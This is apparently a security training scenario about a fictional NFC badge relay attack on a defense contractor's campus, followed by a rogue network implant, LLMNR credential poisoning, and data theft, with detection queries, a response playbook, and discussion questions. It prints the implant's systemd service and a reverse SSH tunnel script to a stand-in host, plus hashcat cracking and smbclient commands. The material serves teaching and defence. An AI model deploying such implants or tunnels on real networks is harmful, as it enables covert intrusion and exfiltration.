SC-040: NFC Relay Attack → Physical Breach & Network Pivot¶

Threat Actor Profile¶

PROXIMITY ZERO is a sophisticated threat group specializing in physical security bypass and proximity-based wireless attacks, active since 2023. The group targets corporate campuses, data centers, and critical infrastructure facilities where physical access controls rely heavily on NFC/RFID badge systems. Rather than exploiting network perimeters remotely, PROXIMITY ZERO bridges the physical-digital divide — using relay attacks on contactless credentials to gain building access, then deploying rogue hardware to establish persistent network footholds from inside the trusted perimeter.

The group maintains custom hardware toolkits including miniaturized NFC relay proxies, covert network implants disguised as common office equipment, and software-defined radio (SDR) platforms for analyzing proprietary badge protocols. Their operations combine social engineering reconnaissance (badge photography, tailgating observation, employee schedule mapping) with technical exploitation of contactless credential systems that lack mutual authentication or relay-resistant protocols.

Motivation: Corporate espionage — theft of intellectual property, pre-positioning for future cyber operations, and demonstrating physical security gaps for adversarial nation-state sponsors.

Executive Summary¶

Meridian Corporate Campus, the global headquarters of Meridian Dynamics (a defense contractor with 2,400 employees across a 6-building campus), suffered a physical security breach enabled by an NFC relay attack on employee badge credentials. PROXIMITY ZERO conducted multi-day surveillance of the campus, identifying badge system vendor (HID iCLASS SE), employee routines, and physical access control gaps. Using a custom two-device NFC relay kit, the group captured and relayed an employee's badge credential in real time from the campus cafe to a secured entrance 200 meters away — bypassing the NFC access control without cloning the badge.

Once inside the building, the attacker gained access to a restricted server room by tailgating an authorized employee, then deployed a covert network implant (Raspberry Pi Zero disguised as a USB phone charger) connected to an open Ethernet port. The implant established an encrypted reverse tunnel to PROXIMITY ZERO's infrastructure, providing persistent remote access to the internal corporate network. Over 9 days, the group pivoted through the network, captured domain credentials via LLMNR poisoning, accessed engineering file shares containing defense contract specifications, and exfiltrated 4.7GB of proprietary data before the implant was discovered during a routine infrastructure audit.

Scenario Narrative¶

Phase 1 — Physical Reconnaissance & Badge System Analysis (~25 min)¶

PROXIMITY ZERO conducts 5 days of physical surveillance on Meridian Corporate Campus beginning March 3, 2026. Operatives pose as delivery drivers, food truck vendors, and visitors to adjacent businesses to observe employee patterns, badge usage, and physical security posture.

Key reconnaissance findings:

• Badge System: HID iCLASS SE readers at all entry points, operating at 13.56 MHz (ISO 14443)
• Anti-tailgating: Turnstiles at main lobby; badge-only doors at side entrances (no turnstiles, no cameras on 2 of 6 doors)
• Guard Presence: Security desk in main lobby (Building A) staffed 24/7; roving guard patrol every 90 minutes; no guards at Buildings C-F side entrances
• Server Room: Building D, 2nd floor — badge-protected door, no biometric secondary factor, no mantrap
• Cafe Location: Ground floor Building A — employees badge in through turnstiles, then walk to cafe; badges worn on retractable lanyards at waist level
• Peak Hours: 08:00-09:30 — high traffic at Building D side entrance (R&D teams), frequent door-holding for colleagues

# PROXIMITY ZERO reconnaissance log (reconstructed from field notes)

Day 1 (2026-03-03): Perimeter survey
  - 6 buildings, campus-wide badge access
  - HID iCLASS SE readers identified (model: iCLASS SE R10, FW 7.8)
  - Badge protocol: 13.56 MHz, ISO 14443-A/B
  - Parking garage: badge-in only, no badge-out (no anti-passback)
  - Loading dock (Building F): propped open 07:00-11:00 for deliveries

Day 2 (2026-03-04): Employee pattern analysis
  - R&D staff (Building D): arrive 08:00-09:00, badge at side entrance
  - Side entrance D-2: no camera coverage, no anti-tailgating
  - Employees routinely hold door for colleagues with hands full
  - Cafe proximity: ideal relay capture point (badges at waist level)

Day 3 (2026-03-05): Badge protocol sniffing
  - Passive NFC capture using Proxmark3 at 2m range: successful read
  - iCLASS SE using SIO (Secure Identity Object) — encrypted payload
  - Relay attack viable: no distance-bounding protocol implemented
  - Read range with amplified antenna: 45cm (sufficient for cafe scenario)

Day 4-5 (2026-03-06-07): Target identification
  - Target employee: "Sarah Chen" — Senior Network Engineer
  - Badge ID observed: 5 digits visible on badge face (MC-28441)
  - Daily routine: arrives 08:15, cafe 08:20-08:35, Building D entrance
  - Badge on retractable lanyard, right hip — consistently within 40cm
    when seated at cafe counter

Evidence Artifacts:

Phase 2 — NFC Relay Attack & Building Entry (~30 min)¶

On March 10, 2026, PROXIMITY ZERO executes the relay attack. The team uses a custom two-device relay kit:

• Device A (Capture Proxy): Modified Android phone with NFC antenna amplifier, concealed in a messenger bag. Operative sits at the cafe counter adjacent to Sarah Chen, positioning the bag within 40cm of her badge.
• Device B (Emulation Proxy): Second Android device with an NFC card emulator, carried by a second operative standing at the Building D side entrance (D-2), 200 meters away.
• Relay Channel: Bluetooth Low Energy (BLE) over a mesh network of 3 intermediate relay nodes placed along the path, achieving <50ms latency (within the ISO 14443 timing window).

At 08:22 UTC, Sarah Chen sits down at the cafe counter. At 08:23, the second operative presents Device B to the Building D-2 reader. The NFC reader sends its authentication challenge to Device B, which relays it via BLE to Device A, which wirelessly forwards it to Sarah Chen's badge. The badge responds, and the response is relayed back through the chain to Device B. The reader authenticates successfully and unlocks the door — the entire relay transaction completes in 38ms.

# NFC Relay Attack — Technical Sequence (reconstructed)
# Latency budget: ISO 14443 FWT (Frame Waiting Time) = ~77ms

08:23:01.000 UTC — Reader D-2 sends RATS (Request for Answer to Select)
08:23:01.004 UTC — Device B receives RATS, relays via BLE -> Node 1 -> Node 2 -> Node 3 -> Device A
08:23:01.019 UTC — Device A transmits RATS to Sarah Chen's badge (40cm range)
08:23:01.022 UTC — Badge responds with ATS (Answer to Select)
08:23:01.037 UTC — Device A relays ATS via BLE chain -> Device B
08:23:01.038 UTC — Device B transmits ATS to Reader D-2

08:23:01.040 UTC — Reader sends iCLASS SE authentication challenge
08:23:01.055 UTC — Challenge relayed to badge via Device A
08:23:01.058 UTC — Badge computes cryptographic response
08:23:01.073 UTC — Response relayed back to Device B -> Reader D-2
08:23:01.074 UTC — Reader validates response — ACCESS GRANTED

Total relay latency: 34ms (within 77ms FWT budget)
Door D-2 unlocked at 08:23:01.074 UTC
Credential: MC-28441 (Sarah Chen — Senior Network Engineer)

The second operative enters Building D through door D-2. No alarm is triggered because the credential is valid and currently active. The access control system logs entry for badge MC-28441 at Building D — while Sarah Chen is physically located in the Building A cafe.

Evidence Artifacts:

Phase 3 — Server Room Access & Rogue Device Deployment (~25 min)¶

Inside Building D, the attacker moves to the 2nd floor using the stairwell (no badge required for internal floor access). At 08:31 UTC, the attacker positions near the server room door (Room D-204) and waits for an authorized employee. At 08:34, a systems administrator exits the server room carrying equipment — the attacker holds the door and enters behind them, a classic tailgating maneuver. The server room door has a badge reader but no anti-tailgating mechanism, mantrap, or interior motion sensors that verify badge-in before entry.

Inside the server room, the attacker has approximately 12 minutes before the next expected entry (based on reconnaissance). The attacker deploys a rogue network implant:

• Hardware: Raspberry Pi Zero 2 W, configured as a headless network bridge
• Disguise: Enclosed in a USB phone charger housing, plugged into a power outlet behind Server Rack R-07
• Network: Connected to an open (unused) Ethernet port on patch panel PP-07, Port 24
• Connectivity: Establishes reverse SSH tunnel over HTTPS (port 443) to mgmt-console.cloudservices.example.com (203.0.113.42)
• Persistence: Systemd service auto-starts on boot; watchdog restarts tunnel if connection drops

# Rogue implant configuration (reconstructed from forensic image)
# Device: Raspberry Pi Zero 2 W | OS: Raspbian Lite (headless)
# MAC Address: b8:27:eb:aa:bb:cc (Raspberry Pi Foundation OUI)

# /etc/systemd/system/network-bridge.service
[Unit]
Description=Network Management Bridge
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
ExecStart=/usr/local/bin/bridge-client
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target

# /usr/local/bin/bridge-client (wrapper script)
#!/bin/bash
while true; do
    # Reverse SSH tunnel over HTTPS port to blend with legitimate traffic
    ssh -o StrictHostKeyChecking=no \
        -o ServerAliveInterval=60 \
        -o ServerAliveCountMax=3 \
        -R 4422:localhost:22 \
        -R 9050:localhost:9050 \
        -p 443 \
        tunnel@mgmt-console.cloudservices.example.com \
        -i /opt/.keys/tunnel_key \
        -N
    sleep 30
done

# /etc/network/interfaces (DHCP — auto-assigned from corporate range)
auto eth0
iface eth0 inet dhcp

# Network scan results stored locally before exfiltration
# /opt/recon/initial_scan.log
# Nmap scan initiated Mon Mar 10 08:42:33 2026
# Scanning 10.50.0.0/16 — Meridian Corporate Network

The implant obtains IP address 10.50.7.244 via DHCP from the corporate network and begins initial reconnaissance using passive ARP monitoring and targeted Nmap scans during business hours (to blend with normal traffic patterns).

Evidence Artifacts:

Phase 4 — Network Pivot & Lateral Movement (~30 min)¶

Over the next 9 days (March 10-19, 2026), PROXIMITY ZERO uses the rogue implant as a beachhead for internal network operations. The attacker operates during business hours (08:00-18:00 UTC) to blend with normal traffic patterns and limits scan rates to avoid triggering IDS thresholds.

Day 1-2: Network mapping via passive ARP monitoring and targeted Nmap service scans. Identifies 2,400+ endpoints, 47 servers, and 12 network segments.

Day 3-4: Credential harvesting via LLMNR/NBT-NS poisoning using Responder, capturing 34 NTLMv2 hashes. Offline cracking with Hashcat yields 8 valid domain credentials within 6 hours.

Day 5-7: Lateral movement using compromised credentials. Accesses engineering file server (10.50.12.30 — eng-files.meridian.example.com) via SMB with harvested credentials for jthompson (Engineering Manager, member of ENG-FILESERVER-RW group).

Day 7-9: Data staging and exfiltration. Identifies and copies defense contract specifications, engineering schematics, and proposal documents to the rogue implant's local storage, then exfiltrates via the reverse SSH tunnel during business hours.

# Responder LLMNR/NBT-NS poisoning output (reconstructed)
# Running on rogue implant: 10.50.7.244

[*] [LLMNR] Poisoned answer sent to 10.50.7.118 for name PRNTSVR03
[*] [SMB] NTLMv2 hash captured — User: MERIDIAN\jthompson
    Hash: jthompson::MERIDIAN:a1b2c3d4e5f6:7890...EXAMPLE_HASH
[*] [LLMNR] Poisoned answer sent to 10.50.7.205 for name FILESRV-OLD
[*] [SMB] NTLMv2 hash captured — User: MERIDIAN\mgarcia
    Hash: mgarcia::MERIDIAN:f6e5d4c3b2a1:4567...EXAMPLE_HASH

# Hashcat cracking results
$ hashcat -m 5600 captured_hashes.txt rockyou.txt -r rules/best64.rule
jthompson::MERIDIAN: -> P@ssw0rd2025!  (cracked in 2h14m)
mgarcia::MERIDIAN:   -> Meridian#2024   (cracked in 4h07m)

# File server access (via compromised jthompson credentials)
$ smbclient //10.50.12.30/engineering -U MERIDIAN/jthompson
smb: \> ls
  contracts\           D  0  Wed Mar 12 14:22:01 2026
  schematics\          D  0  Tue Mar 11 09:45:33 2026
  proposals\           D  0  Mon Mar 10 16:11:22 2026
  test-results\        D  0  Fri Mar  7 11:33:44 2026

smb: \contracts\> ls
  DOD-Contract-MER-2026-0441.pdf     8,445,231
  Subcontractor-SOW-Avionics.docx    2,103,448
  Budget-Proposal-Q3-2026.xlsx       1,844,992

# Total exfiltrated: 4.7GB across 312 files
# Exfil method: SCP over reverse SSH tunnel (port 443)
# Rate-limited to 2 Mbps to avoid bandwidth anomaly detection

Evidence Artifacts:

Phase 5 — Discovery & Incident Response (~30 min)¶

On March 19, 2026, during a routine quarterly infrastructure audit, a data center technician discovers the rogue device behind Server Rack R-07. The device is photographed in place, disconnected from network and power, and escalated to the Security Operations Center.

The SOC initiates a full investigation, correlating the rogue device's MAC address (b8:27:eb:aa:bb:cc) with DHCP, firewall, NetFlow, and access control logs. The investigation reveals the full attack chain within 48 hours.

# Incident timeline — Discovery through containment

2026-03-19T15:22:00Z — Technician discovers unknown device behind Rack R-07
2026-03-19T15:25:00Z — Device photographed, serial number recorded
2026-03-19T15:30:00Z — Device disconnected from Ethernet (port SW-D2-07 Gi0/24)
2026-03-19T15:35:00Z — Device disconnected from power, bagged as evidence
2026-03-19T15:40:00Z — SOC notified — Incident ticket INC-2026-0342 opened
2026-03-19T16:00:00Z — SOC queries DHCP: MAC b8:27:eb:aa:bb:cc -> IP 10.50.7.244
2026-03-19T16:15:00Z — Firewall log review: 10.50.7.244 -> 203.0.113.42:443 (9 days)
2026-03-19T16:30:00Z — NetFlow analysis: 4.92GB outbound from 10.50.7.244
2026-03-19T17:00:00Z — Access control review: Badge MC-28441 impossible travel detected
2026-03-19T17:30:00Z — CCTV review: Tailgating at Room D-204 confirmed
2026-03-19T18:00:00Z — Credential compromise scope: 8 accounts via LLMNR poisoning
2026-03-19T19:00:00Z — Data access scope: 4.7GB from engineering file server
2026-03-19T20:00:00Z — CISO briefed — incident escalated to Critical severity

Evidence Artifacts:

Detection Opportunities¶

KQL Detection — Impossible Badge Travel (Physical Access Anomaly)¶

// Detect badge used at two physically distant locations within impossible transit time
PhysicalAccessLogs
| where TimeGenerated > ago(24h)
| where AccessResult == "Granted"
| sort by BadgeId asc, TimeGenerated asc
| serialize
| extend PrevBuilding = prev(Building, 1), PrevTime = prev(TimeGenerated, 1),
    PrevBadgeId = prev(BadgeId, 1)
| where BadgeId == PrevBadgeId
| extend TimeDiffSeconds = datetime_diff('second', TimeGenerated, PrevTime)
| extend TransitRequired = case(
    Building != PrevBuilding and TimeDiffSeconds < 120, "IMPOSSIBLE",
    Building != PrevBuilding and TimeDiffSeconds < 300, "SUSPICIOUS",
    "NORMAL")
| where TransitRequired in ("IMPOSSIBLE", "SUSPICIOUS")
| project TimeGenerated, BadgeId, FromBuilding = PrevBuilding, ToBuilding = Building,
    TimeDiffSeconds, TransitRequired

SPL Detection — Rogue Device via MAC OUI and NAC Bypass¶

index=nac sourcetype=nac:logs
| eval oui=substr(mac_address, 1, 8)
| lookup known_oui_list oui OUTPUT vendor, is_approved
| where (is_approved!="yes" OR isnull(is_approved))
| eval auth_method=case(
    match(auth_status, "802.1X"), "802.1X",
    match(auth_status, "MAB"), "MAB_FALLBACK",
    1=1, "UNKNOWN")
| where auth_method="MAB_FALLBACK"
| stats count as access_count, earliest(_time) as first_seen,
    latest(_time) as last_seen, values(switch_port) as ports,
    values(assigned_vlan) as vlans, values(ip_address) as ips by mac_address, vendor
| eval risk = case(
    match(vendor, "Raspberry Pi"), "CRITICAL",
    match(vendor, "unknown"), "HIGH",
    1=1, "MEDIUM")
| table mac_address, vendor, risk, first_seen, last_seen, access_count, ports, vlans, ips
| sort -risk

KQL Detection — SSH-over-HTTPS (Protocol Mismatch on Port 443)¶

// Detect SSH protocol tunneled over port 443 (common rogue implant technique)
NetworkConnectionEvents
| where TimeGenerated > ago(7d)
| where DestinationPort == 443
| where Protocol == "TCP"
// SSH handshake starts with "SSH-2.0" — look for protocol mismatch
| where ApplicationProtocol != "TLS" and ApplicationProtocol != "HTTPS"
| where ApplicationProtocol == "SSH" or PayloadBytes startswith "SSH-2.0"
| summarize ConnectionCount = count(), TotalBytesOut = sum(BytesSent),
    SessionDuration = max(TimeGenerated) - min(TimeGenerated)
    by SourceIP, DestinationIP, DestinationPort
| where ConnectionCount > 10 or TotalBytesOut > 100000000  // 100MB+
| project SourceIP, DestinationIP, DestinationPort, ConnectionCount,
    TotalBytesGB = round(TotalBytesOut / 1073741824.0, 2), SessionDuration

SPL Detection — LLMNR Poisoning from Rogue Device¶

index=ids sourcetype=suricata OR sourcetype=snort
| search signature="*LLMNR*" OR signature="*NBT-NS*" OR signature="*NBNS*"
| stats count as alert_count, dc(dest_ip) as unique_victims,
    values(dest_ip) as victim_ips by src_ip, signature
| where alert_count > 5
| eval severity = case(
    alert_count > 50, "CRITICAL",
    alert_count > 20, "HIGH",
    alert_count > 5, "MEDIUM",
    1=1, "LOW")
| table src_ip, signature, alert_count, unique_victims, victim_ips, severity
| sort -alert_count

Response Playbook¶

Immediate Containment (0-4 hours)¶

1. Physically remove the rogue device — photograph in situ, bag as evidence, maintain chain of custody
2. Isolate the compromised switch port (SW-D2-07 Gi0/24) — shut the port and quarantine the VLAN
3. Block C2 infrastructure — firewall deny-rule for 203.0.113.42 and DNS sinkhole for mgmt-console.cloudservices.example.com
4. Disable all 8 compromised domain accounts — force password reset and revoke active sessions
5. Lock down the engineering file server (10.50.12.30) — revoke all SMB sessions, audit recent access
6. Revoke and reissue Sarah Chen's badge (MC-28441) — disable the credential immediately in the access control system
7. Post security guards at Building D entrances pending investigation

Eradication (4-48 hours)¶

1. Forensically image the rogue device — extract SSH keys, Responder logs, Nmap outputs, staged data
2. Audit all switch ports in the server room and campus — scan for additional rogue devices using MAC OUI analysis
3. Review all domain authentication logs for the 8 compromised accounts — identify any additional lateral movement or persistence mechanisms
4. Scan for persistence — check for scheduled tasks, new services, or additional backdoors deployed from the rogue implant's network position
5. Verify data integrity on the engineering file server — compare file hashes against known-good backups
6. Disable LLMNR and NBT-NS across the domain via Group Policy (if not already disabled)
7. Physical sweep of all server rooms — inspect every rack, cable, and peripheral for additional implants

Recovery (48 hours - 2 weeks)¶

1. Implement relay-resistant badge protocols — upgrade to HID SEOS with distance-bounding or UWB-based access credentials
2. Deploy anti-tailgating controls at server room entrances — biometric secondary factor or mantrap with two-badge verification
3. Enable strict 802.1X on all switch ports — disable MAB fallback for server room and sensitive network segments
4. Install cameras inside the server room with motion-activated recording and real-time alerting to SOC
5. Implement impossible-travel detection in the Physical Access Control System (PACS) with automated badge lockout
6. Conduct damage assessment of exfiltrated defense contract data — notify affected programs and contracting officers
7. Report to DCSA (Defense Counterintelligence and Security Agency) per NISPOM requirements for classified/CUI spillage
8. Conduct employee security awareness training focused on tailgating prevention and suspicious device reporting

Key Discussion Questions¶

1. The NFC relay attack succeeded because the badge system lacked distance-bounding protocols. Given the cost of upgrading 200+ badge readers across a 6-building campus, how would you prioritize deployment? Which doors get upgraded first, and what compensating controls protect the rest?
2. The SOC received an IDS alert for LLMNR poisoning 7 days before the rogue device was discovered but did not investigate due to backlog. How would you restructure SOC alert triage to ensure medium-severity alerts with physical security implications are not deprioritized?
3. The rogue device obtained a valid IP address because 802.1X fell back to MAC Authentication Bypass. Should MAB be disabled entirely on server room switch ports, even if it breaks connectivity for legitimate devices (printers, IPMI/BMC, UPS management cards) that do not support 802.1X?
4. The attacker exfiltrated 4.7GB via an SSH tunnel on port 443 without detection. Your organization does not perform SSL/TLS inspection on outbound traffic due to privacy concerns. How do you balance network visibility with employee privacy and legal constraints?
5. This attack required physical proximity to execute the NFC relay. How does the physical component of this threat change your risk calculus compared to a purely remote attack? Should physical proximity attacks be weighted differently in threat models?

Lessons Learned¶

References¶

• Chapter 47: Physical & Social Engineering
• Chapter 34: Mobile & IoT Security
• Chapter 14: Network Security Architecture
• Chapter 9: Incident Response Lifecycle
• MITRE ATT&CK T1200 — Hardware Additions
• MITRE ATT&CK T1078 — Valid Accounts
• MITRE ATT&CK T1557 — Adversary-in-the-Middle
• MITRE ATT&CK T1133 — External Remote Services